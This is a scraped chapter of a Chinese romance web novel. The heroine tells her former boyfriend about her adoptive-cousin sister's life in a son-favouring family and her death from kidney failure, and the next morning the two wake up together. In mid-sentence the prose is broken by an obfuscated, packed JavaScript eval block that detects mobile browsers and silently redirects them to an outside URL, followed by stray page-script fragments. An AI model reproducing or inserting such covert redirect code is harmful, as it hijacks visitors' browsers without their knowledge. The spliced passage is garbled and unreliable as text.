文趣网 > 其他小说 > 外卖填错前任电话后[破镜重圆] > 25. 第二十五段旋律
    他手上的动作没有停,过了会,他忽然问:“姐姐……是什么时候的事?”

    “今年年初,在星沙看你音乐会那天。”

    他一愣,“你连这么重要的事都不让他们告诉我吗?”

    沈可意抬眼看向他:“告诉你也没有用。”

    谁都救不活姐姐的命。

    思绪回到沈知意去世的那天。

    自那天后,她再也没想到那天。

    姐姐从去年病重住院开始,就一直想说自己会坚持,怎么也得要看到沈可意结婚。

    这是她最后的念想之一。

    于是从那天开始,沈可意开始接受刘艳春给自己介绍的相亲。

    记不太清程远是第几个,但那一天,为了见他,错过了见姐姐最后一眼。

    这是她此生最大的遗憾。

    她抬起眼,眼眶又红了,嘴角向下压了压,还是忍不住向他倾诉:“吴清弦,唯一期待我出生的人走了。”

    她几句话笼统的带过姐姐的去世,可吴清弦依旧感受到了她话语里的破碎与绝望。

    吴清弦停住手下的动作,难怪她那天哭得那么惨,难怪刚重逢时提及她姐姐她反应会那么大,也难怪她那天在车里她会沉默不语。

    他很早前就知道,沈知意是这个世界上沈可意最在意的人,谁也不能超过她在她心中的重要程度。

    高中时,她常常把姐姐挂在嘴边,一提到她姐姐她眼睛就会亮起来,与其他时候的她完全不一样。

    她断断续续地说起自己心里堆积的心事,就像高三刚开学偶遇他一样,全都说给他听。

    “明明沈如意可以救她,但是他不同意。”

    沈知意得的是尿毒症,一开始还能靠药物和透析控制,沈可意每次打电话问她身体怎么样,她都说挺好的,不用担心。

    可后来控制不住了,医生说必须换肾。

    沈可意当即就把自己还没装修的毛坯房卖了出去。

    周围的亲戚陆陆续续去做了配型,她也去了,没有配上。

    唯一能匹配上的,是沈如意。

    但刘艳春、沈光明都不同意,沈如意自己也别别扭扭地不同意。

    他怕疼,怕手术有风险,怕以后身体会变差。

    他们唯独不怕沈知意真的去世。

    因为沈知意不是刘艳春和沈光明亲生的。

    -

    她其实是沈可意的堂姐。

    八岁那年,沈知意的父母出了一场车祸,双双没救回来。

    伯伯伯父去世后,爷爷奶奶看她是个女孩,对她疏于管教。

    刘艳春便在此时出马,她带着一脸慈爱的笑容蹲在沈知意面前,说:“阿姨带你回家好不好?”

    爷爷奶奶松了口气,乐得轻松,把她交给了刘艳春。

    沈知意在相处中渐渐放下了戒备。

    恰逢刘艳春怀孕,她问沈知意想不想有弟弟妹妹,她说:“想。”

    当时想的是,如果是妹妹,至少叔叔阿姨还会对她好一点。

    所以她格外期待妹妹的降生,她给她取名叫如意。

    她确实如愿了,可随之降生的还有一个男孩,一切都不一样了。

    她为她想的名字,给了明明早一分钟出生,却被刘艳春和沈光明当作弟弟的男孩。

    比起兄妹,他们更喜欢姐弟。

    这样似乎就有了理由,能肆意的把偏爱与所有都留给男孩。

    沈如意变成了沈可意,晚出生一分钟的妹妹变成了姐姐。

    而同时,沈知意父母的赔偿金到了,刘艳春对她的态度一瞬间就变了。

    从这之后,家里好吃的、好用的都先紧着沈如意。

    在这个家里,沈知意和沈可意常常被忽视,她们只有彼此。

    沈知意经历过,不想沈可意像自己一样没有人爱,于是她想尽办法对她好,希望她带着她的爱成长。

    小时候的沈可意,只有在沈知意这里能得到无限的偏爱。

    再长大一些,沈知意在刘艳春日复一日的阴阳怪气下放弃了读书。

    她永远记得,她说:“女孩子读那么多书有什么用,弟弟以后要上好学校,花钱的地方多着呢,你早点出去工作还能帮家里减轻负担,这么多年养你也很不容易。”

    沈知意没反抗,她带着想逃离这个家的心,去了星沙打工。

    第一份工作是在一家电子厂的流水线上,每天站十二个小时。

    日子虽苦,可一路上有她的高中同学李舒陪伴。

    李舒高考毕业后去了星沙念大专,一有空就坐地铁公交穿过半个城市来找她。

    临近两人感情越来越深时,恰好沈如意闹着想出国读书。

    但家里钱不够,刘艳春便打上了沈知意婚事的主意。

    她托人给沈知意说了门亲事,彩礼给得高。

    她坐在沈知意对面,用一个长辈能摆出的最温和的语气说:“如意是你弟弟,你能帮就帮一把。”

    她答应了,唯一的条件是要他们供沈可意继续上大学。

    沈知意再一次为了这个不属于自己的家,放弃了自己的爱情。

    沈知意的名字是她父亲为她取的,源自于“南风知我意,吹梦到西洲。”

    明明充满了缠绵的爱与思念,可是沈知意的一生,都在失去自己的爱与思念。

    沈知意按部就班结婚,生下了沈初阳。

    那个男人在她怀孕的时候出轨,在她坐月子的时候打她。

    她脱离家庭主妇的身份,重新开始找工资,等独立后,果断提出离婚。带着沈初阳改姓,带着她去了星沙独自打拼,鲜少回槠洲接触刘艳春和沈光明了。

    再后来,沈知意和李舒又遇见了,他们再一次相爱,这一次没有任何人阻挡,他们结了婚。

    沈可意永远记得,姐姐结婚那天含着泪光笑着说:“我终于可以安安稳稳的幸福了。”

    可好日子没过多久,先是月月早产,沈知意跟着免疫力降低,各种小病缠身。

    直到后来,检测出尿毒症,再也摆脱不了命运。

    -

    听完所有的事情,吴清弦手中的鸡蛋早已凉透。

    他从前只是大概知道,沈可意出生在一个重男轻女的家庭,只有姐姐是她的依靠。

    可第一次知道,她姐姐的人生这么悲痛。

    “所以,你年初在剧院门口,是为了姐姐哭,对吗?”

    沈可意点了点头。

    他替她抹去眼泪,把鸡蛋放在桌上,伸出手,弯下腰把她整个人揽进了怀里。

    他轻轻把她的脸贴在自己肩窝里,缓声说:“对不起。”

    “我还以为你在为他哭,我还吃醋,我太蠢了。”

    沈可意应该推开他,可是她做不到。

    她贪恋他的怀抱,卸下了所有的防备和不安,靠在他怀里缓缓平复情绪。

    她懒得搭理脑海里那些乱七八糟的思绪,闭了闭眼,铺天盖地的困意涌上来。

    她鼻头发酸,“我困了。”

    “我抱你去睡觉?”

    沈可意应了声:“嗯。”

    吴清弦一手穿过她的膝弯,把她从椅子上抱起来。

    沈可意被他抱进主卧,轻轻放进床铺里。

    她意识已经开始模糊,恍惚间感觉到替自己脱去外套,最后手停留在自己脸上,她下意识蹭了蹭。

    翻了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701534|207654||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个身,把脸埋进枕头里,沉沉睡了过去。

    沈可意是被热醒的。

    她迷迷糊糊地翻了个身,觉得有什么东西沉甸甸地搭在自己腰上。

    伸手去推,摸到一片温热紧实的触感。

    脑子里还混沌着,手却下意识顺着熟悉的线条感往上摸。

    清醒十分,她忽然停住动作,睁开眼。

    吴清弦侧躺在她旁边,一只手被她枕在脖子下面,一只手揽着她腰,还没醒。

    她愣了几秒,记忆慢慢回笼。

    随着她的动作,吴清弦也慢慢清醒。

    “……你醒了?”

    “嗯。”

    睡着前因为情绪原因,她没在意两人之间还是前任状态。

    这会醒了和彻底清醒,后知后觉的尴尬席卷而来。

    她清了清嗓子,“几点了?”

    吴清弦摸到床头柜上的手机,眯着眼看了一眼:“下午三点。”

    说完,沈可意腰间的手收紧了几分,把她刚挪了点的距离又捞了回来。

    “再睡会儿。”

    沈可意僵住了,她推了推他,吴清弦清醒了片刻,人没动。

    “……你松开。”

    他睁开一只眼,看她,“害羞了?又不是没这样睡过。”

    她脸一下红了。

    以前同居的时候,他们每天醒来差不多都是如此亲密的姿势。

    可毕竟以前,现在他们算什么?

    前任睡在一张床上,醒来还搂搂抱抱,成什么样子。

    她暗自谴责了睡前的自己,就算情绪再不好,也不能纵容自己这样。

    沈可意压低嗓音喊:“吴清弦。”

    这是要生气的预兆了。

    吴清弦太过于熟悉这个语气,微微松开她一点。

    沈可意立刻翻身坐起来,抓起搭在椅背上的外套就往客厅走。

    他靠在床头,看着她拿起外套逃命似的背影,低头笑了一声。

    吴清弦慢悠悠穿好外套出来,沈可意正收拾完桌上的餐具和鸡蛋。

    见他出来,她转身去客房,准备叫醒沈初阳。

    “孩子长身体,你让她多睡会。”

    “她回去也能睡。”

    说完,她头也不回,敲门进去,轻声叫醒沈初阳:“阳阳,我们要回槠洲啦。”

    沈初阳乖乖坐起来,人还迷糊着,人已经穿好衣服站起来了。

    沈可意牵起她的手,朝客厅走去。

    吴清弦已经准备好一切。

    沈可意看见他手中的手提袋,问沈初阳,“那是你行李?”

    “嗯。”

    她便上前,“我来拿就行。”

    他侧身一躲,顺手拿起了沈可意的行李箱,“没事,很轻。”

    他走在前面,沈可意和沈初阳跟在他身后出门。

    电梯到时,他微微侧身,让她们先上电梯。

    沈初阳在旁边悄悄抬头看他,又看向沈可意,等走到车门旁边,她终于憋不住好奇,扯了扯沈可意衣角,小声问:“小姨,这个小哥哥是谁?”

    吴清弦正把手中的手提袋放到后座,闻言回头看了她一眼。

    他走到副驾旁边,拉开车门,等沈可意坐进去的时候,弯腰替她把安全带扣好。

    一套流程下来,见沈可意没回复。

    他直起身,对着后座的沈初阳,一本正经地回答:“叔叔是你小姨夫。”

    几乎是同一瞬间,沈可意转头对着后座的阳阳纠正:“我高中同学。”

    沈初阳的目光在他们之间徘徊,忽然想起为什么看到吴清弦的第一眼会觉得眼熟了。

    她在三年级的时候见过他。